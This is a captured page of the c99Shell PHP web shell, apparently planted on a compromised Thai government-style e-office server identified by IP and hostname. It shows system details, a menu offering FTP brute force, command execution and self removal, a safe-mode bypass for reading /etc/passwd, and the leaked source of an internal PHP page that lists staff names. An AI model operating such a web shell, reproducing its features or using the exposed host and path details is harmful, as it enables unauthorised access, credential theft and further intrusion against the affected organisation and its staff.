110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/person/admin/ drwxr-xr-x Free 52.33 GB of 127.8 GB (40.95%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686

uid=48(apache) gid=48(apache) groups=48(apache)

Safe-mode: OFF (not secure)

/var/www/html/manage/person/admin/ drwxr-xr-x
Free 52.33 GB of 127.8 GB (40.95%)
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Viewing file: searchPrintDocLineConfig.php (6.29 KB) -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

<?php
include_once "template.php";
include_once "../class/clsTable.php";
include_once "../class/clsDepartment.php";
include_once "../class/clsPerson.php";
include_once "../link/function.php";
include_once "../class/clsDocLinePosition.php";
include_once "../class/clsDocLineConfig.php";
include_once "../link/keyThai.php";
include_once "getPrefix.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);

?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<br>
<table  width=703  align="center">
<tr><td height="150">
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">µСй§¤иТЎТГгЄй§Т№ГРєє</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="docLineConfig.php">ЎУЛ№ґЕУґСєЛ№йТ·Хи§Т№КТГєГГіўН§єШ¤¤Е·ХЕРЛ№иЗВ§Т№</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">ГТВ§Т№ЕУґСєЛ№йТ·Хи§Т№КТГєГГіўН§єШ¤ЕЕ</font></legend>
      <table border="0" align="center" width="100%"><tr><td align="center"><br>
	    <form name="ff" action="searchPrintDocLineConfig.php" method="post">
			<table width="87%" height="21" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
			<tr><td width="13%" align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"><strong>Л№иЗВ§Т№ :: </strong>
       </font></td>
                  <td width="87%" align="left">
				   <select name="deptId" onChange='return showdept();' >
                      <option value="0">- аЕЧНЎЛ№иЗВ§Т№ -</option>
                      <? $oDP->SearchBydeptDateDocGroup($oDP->SearchMaxDocGroup());
							while($oDP->GetRecord()){ ?>
                      <option value="<? echo $oDP->deptId;?>" <? if($oDP->deptId==$deptId){   echo "selected";  }?>><? echo $oDP->deptName; ?></option>
                      <? } ?>
					  <option value="all">Л№иЗВ§Т№ВиНВ·Сй§ЛБґ</option>
                    </select>&nbsp;<font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>">&nbsp;</font>
					</td>
                </tr> 
			</table><br><br>
			<? if($deptId!="" && $deptId!="0"){ ?>
			<table width="95%" align="center"><tr ><td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>"><strong>ГТВ§Т№ЕУґСєЛ№йТ·Хи§Т№КТГєГГіўН§єШ¤ЕЕ КГШ» і ЗС№·Хи&nbsp;<? echo abbreDate(splitDateDb2(getNowDateTh()));  ?></strong></font></td></tr>
			<? $oDP->SearchByKey($deptId); $oDP->GetRecord();  ?>
			<tr><td height="15">&nbsp;</td></tr>
			<tr><td  height="22" align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"><strong>Л№иЗВ§Т№ ::&nbsp;</strong><? echo $oDP->deptName; ?></font></td></tr>
			<tr><td  height="22" align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"><strong>К¶Т№РЎТГгЄй§Т№ ::&nbsp;</strong>
				<? if($oDlc->SearchDeptconfirm($deptId)=="Y"){  echo "ВЧ№ВС№ЎТГгЄй§Т№бЕйЗ"; }else{  echo "ВС§дБиВЧ№ВС№ЎТГгЄй§Т№"; } ?>
				</font></td></tr>
			</table>
			<table width="95%" height="22" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
			  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_15'];?>"> 
				<td width="6%" align="center"><strong>ЕУґСє</strong></td>
				<td width="20%" align="center"><strong>µУбЛ№и§</strong></td>
				<td  align="center" ><strong>єШ¤ЕТЎГ</strong><strong></strong></td>
				<td width="10%" align="center"><strong>аК№На«з№</strong></td>
				<td width="8%" align="center"><strong>Е§№ТБ</strong></td>
				<td width="8%" align="center"><strong>Ки§јиТ№</strong></td>
				<td width="8%" align="center"><strong>Ки§</strong></td>
				<td width="10%" align="center"><strong>ґЩ<br>
				  Л№С§КЧН</strong></td>
				  <td width="8%" align="center"><strong>Active</strong></td>
			  </tr>
			  <? 
					$oDlc->SearchByDeptMaxDocGroup($deptId,$oDP->SearchMaxDocGroup());
					$i=0;
					 while($oDlc->GetRecord()){
				?>
			  <tr > 
				<td align="center" height="22"><? echo a2th($oDlc->DlcSeq); ?></td>
				<td align="left" ><? $oDlp->SearchByKey($oDlc->DlpID); $oDlp->GetRecord(); echo "&nbsp;&nbsp;".$oDlp->DlpName; ?></td>
				<? $oPS->SearchByKey($oDlc->personId);  $oPS->GetRecord();?>
				<td width="22%" align="left"><? echo "&nbsp;&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName; ?></td>
				<td align="center"><? if($oDlc->DlcPropose=="Y"){ ?><img src="../picture/apply.gif"  border="0" align="absmiddle"><? }?></td>
				<td align="center"><? if($oDlc->DlcSign=="Y"){ ?><img src="../picture/apply.gif"  border="0" align="absmiddle"><? }?></td>
				<td align="center"><? if($oDlc->DlcByPass=="Y"){ ?> <img src="../picture/apply.gif"  border="0" align="absmiddle"><? }?></td>
				<td align="center"><? if($oDlc->DlcSend=="Y"){ ?><img src="../picture/apply.gif"  border="0" align="absmiddle"><? }?></td>
				<td align="center"><? if($oDlc->DlcView=="Y"){ ?><img src="../picture/apply.gif"  border="0" align="absmiddle"><? }?></td>
				<td align="center"><? if($oDlc->DlcActive=="Y"){ ?><img src="../picture/apply.gif"  border="0" align="absmiddle"><? }?></td>
			  </tr>
			  <?  $i++;   } //end loop lineconfig
					 $count=$oDlc->DlcSeq;
				   if($i=="0"){ ?>
					<td align="center" colspan="9" height="25"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">ВС§дБиБХЎТГЎУЛ№ґЕУґСєЛ№йТ·Хи§Т№КТГєГГіўН§єШ¤¤Е</font></td>
			<? } ?>
			</table>
			<br>
			<? } //if deptId!=""  show lineconfig ?><input type="button" name="cancel" value="ЎЕСєЛ№йТЛЕСЎ" onClick="location.href = 'docLineConfig?deptId=<? echo $deptId; ?>'">
			</form><br>
	  </td></tr><!--a href="printAllDocLineConfig.php" target="_blank"-->
	  </table>
	  
</fieldset>
		 
      <br>
      <br>

</td>
</tr>
</table>
</body>
</html>

<script language="javascript">
function showdept(){
	
	if(document.ff.deptId.value=='all'){
			window.location.href='printAllDocLineConfig.php';
	}else{
		document.ff.submit();
	}
}
</script>

:: Command execute ::
Enter:	Select:

:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:

:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

:: Go Dir ::

:: Go File ::

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]--